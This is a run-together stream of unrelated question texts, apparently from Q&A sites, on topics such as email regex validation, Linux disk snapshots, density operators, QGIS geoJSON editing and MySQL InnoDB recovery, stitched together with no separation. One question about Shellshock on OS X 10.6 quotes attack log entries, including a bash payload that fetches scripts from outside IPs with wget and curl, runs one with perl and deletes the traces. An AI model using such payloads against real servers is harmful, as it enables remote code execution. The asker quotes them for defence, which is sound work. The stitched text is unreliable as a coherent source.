I have a sign in form where userid is email id of users or unique id given by us i.e in integer.  So i want regex for that text box to validate email or Id.  Means.  if someone enters   abc@abc.com or 1024 then it is valid  and if someone is entering anything other than email or integer than it should show as invalid.  Thanks...
Is there a regular expression to validate an email address in JavaScript?
I'm too spoiled by Windows utilities that take a digital snapshot of your entire drive, which you can then restore from in the event of a drive crash.  (e.g. like Time Machine for Mac OS X).  Is there a similar way of doing this in Linux? How to watch videos in Amazon Prime Instant Video? Disk space usage doesn't add up with df & du Is the density operator a mathematical convenience or a 'fundamental' aspect of quantum mechanics? In quantum mechanics, one makes the distinction between mixed states and pure states.  A classic example of a mixed state is a beam of photons in which 50% have spin in the positive $z$-direction and 50% have spin in the positive $x$-direction.  Note that this is not the same as a beam of photons, 100% of which are in the state $$ \frac{1}{\sqrt{2}}[\lvert z,+\rangle + \lvert x,+\rangle]. $$ It seems, however, that at least in principle, we could describe this beam of particles as a single pure state in a 'very large' Hilbert space, namely the Hilbert space that is the tensor product of all the $\sim 10^{23}$ particles (I think that's the proper order of magnitude at least).  So then, is the density operator a mathematical convenience, or are there other aspects of quantum mechanics that truly require the density operator to be a 'fundamental' object of the theory?  (If what I mean by this is at all unclear, please let me know in the comments, and I will do my best to clarify.) How to prove that minimum of two exponential random variables is another exponential random variable? How can I prove that the minimum of two exponential random variables is another exponential random variable, i.e. Z = min(X,Y) Best Way To Store Multiple Flags In Database I have a web-based application that notifies users of activity on the site via email. Users can choose which kinds of notifcations they want to receive. So far there are about 10 different options (each one is a true/false).  I'm currently storing this in one varchar field as a 0 or 1 separated by commas. For example: 1,0,0,0,1,1,1,1,0,0  This works but it's difficult to add new notification flags and keep track of which flag belongs to which notification. Is there an accepted standard for doing this? I was thinking of adding another table with a column for each notification type. Then I can add new columns if I need, but I'm not sure how efficient this is.  Thanks in advance! Determine destination location of apt-get install ? Will Windows 10's reset delete my Linux partitions? Please add documentation about the redaction tool to the moderator help What exactly is the point of memoryview in Python Attribute editing in QGIS on geoJson file We have vector files in the format of geoJson files. We need to keep it in geoJson format as it is picked up by mobile devices via Restful services.  The problem is we want to change the attributes of the features in QGIS but it seems like this is not possible. We don't have to add or remove columns. We simply need to edit the existing data.  Is there a work around for this?  Are there any plugins that I can download that will allow me to do this in QGIS? In the past, both Philosophy and Science were one. However, because of the vastness of Science, it was cut off. I am inclined to go along the same line of thinking, but, is there a way to merge both disciplines once again? 32-bit, 64-bit CPU op-mode on Linux I'm confused. Running Fedora Linux, lscpu yields:  Architecture:            i686 CPU op-mode(s):          32-bit, 64-bit ...   But when I try to install a 64-bit program (Chrome) I get error like:     Package /....x86_64.rpm has incompatible architecture x86_64. Valid architectures are ['i686', 'i586', 'i486', i386']   I'm less interested in being able to install Chrome and more interested in why lscpu says that my CPU can run in 64-bit mode; clearly this can't mean I can run 64-bit programs. Can anyone clarify? Overriding the java equals() method - not working? The replier's From email address is modified when Marketing Cloud RMM forwards an email to the routing address We've set up RMM to forward replies to routing address and SFMC adds our subdomain to the replier's From email address (i.e. replier@gmail.com becomes replier.gmail.com@oursubdomain.com). However, their reply-to address remains the same.  It seems like DMARC Forward Reply Rewrite is enabled, but we were advised not to touch it as that may affect email deliverability.  Is there any workaround to this? And what will happen if we disable this feature? Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks? If the sum of $n$ cubes is zero, then the sum must be no larger than $\frac n3$. How to obtain a confidence interval for a percentile? I have a bunch of raw data values that are dollar amounts and I want to find a confidence interval for a percentile of that data.  Is there a formula for such a confidence interval? I have previously saved a copy of /var/lib/mysql/ddms directory ("ddms" is the schema name). Now I installed a new MySQL on a freshly installed Ubuntu 10.04.3 LTS by running apt-get install mysql-server, I believe version 5.1 was installed. After I copy the ddms directory under /var/lib/mysql, some of its tables work fine, these are the tables with an associated set of three files: a .frm file, a .MYD file and a .MYI file.  However, there are two tables with a different set of files: a .frm file and a .ibd file. These two tables didn't show up in the table list in phpMyAdmin. When I look at the error log, it says:  [ERROR] Cannot find or open table ddms/dictionary_item from the internal data dictionary of InnoDB though the .frm file for the table exists. Maybe you have deleted and recreated InnoDB data files but have forgotten to delete the corresponding .frm files of InnoDB tables, or you have moved .frm files to another database? or, the table contains indexes that this version of the engine doesn't support.   Please help with restoring these two tables. Thanks. I'm developing a  application, and I'm using constant NSStrings as ways to store key names for my preferences.  I understand this is a good idea because it allows easy changing of keys if necessary. Plus, it's the whole 'separate your data from your logic' notion.     Anyway, is there a good way to make these constants defined once for the whole application?     I'm sure that there's an easy and intelligent way, but right now my classes just redefine the ones they use.